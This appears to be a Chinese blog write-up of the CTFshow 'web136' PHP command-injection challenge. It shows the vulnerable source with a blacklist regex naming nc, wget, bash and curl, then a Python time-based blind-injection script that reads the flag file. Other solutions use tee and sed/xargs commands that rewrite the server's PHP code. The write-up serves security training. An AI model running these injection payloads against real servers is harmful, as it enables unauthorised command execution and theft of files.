CTFshow php特性 web136


源码

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

思路

刚开始发现 ‘’ 和 “” 没被过滤,可以绕过关键词,当时无回显的话,可以用bash盲注

payload = "if [ ` ls / | awk 'NR==4'  |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) 
payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)

,还有curl带出,我用的是 echo xxx | bas''e64 -d | ba''sh,但是命令执行不了,求大佬解答

还有 tee 也可以创建文件在这里插入图片描述

题解

解法1

改了下Y1ng师傅的脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url  = 'http://85abd7bc-8396-47d1-81d7-a10e92331e33.challenge.ctf.show/?c='
alphabet = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,100):
	for char in alphabet:
		# payload = "if [ ` ls / | awk 'NR==4'  |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
		payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
		# data = {'cmd':payload}
		try:
			start = int(t.time())
			r = requests.get(url+payload)
			# r = requests.post(url, data=data)
			end = int(t.time()) - start
			# print(i,char)
			if end >= 3:		
				result += char
				print("Flag: "+result)
				break
		except Exception as e:
			print(e)

中间的 . 应该是盲注的时候有一个数据包响应过长导致的
flag格式 : ctfshow{8-4-4-4-12}
在这里插入图片描述

解法2

用 tee 把 ls / 的输出,输出进文件里

?c=ls | tee 1

?c=cat /f149_15_h3r3 | tee 2
在这里插入图片描述

解法3

但是看到群主的解法的时候,被震惊到了,居然还能这么玩,可以直接改源码,tql

sed -i ‘s/book/books/g’ file 把book替换成 books

xargs 可以将管道或标准输入(stdin)数据转换成命令行参数,也能够从文件的输出中读取数据。

find . -name ‘*.xml’ |xargs sed -i ‘s/hello/world/g’

参考资料: https://blog.csdn.net/weixin_39731083/article/details/82495950

自己测试了下(多动手.jpg)
在这里插入图片描述

也可以用xargs sed批量修改文件

ls | xargs sed -i "s/die/echo/"
把die 替换成 echo
ls | xargs sed -i "s/exec/system/"
把exec 替换成 system

然后就随便玩了

?c=tac /f*
在这里插入图片描述


总结

Y1ng师傅 yyds

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值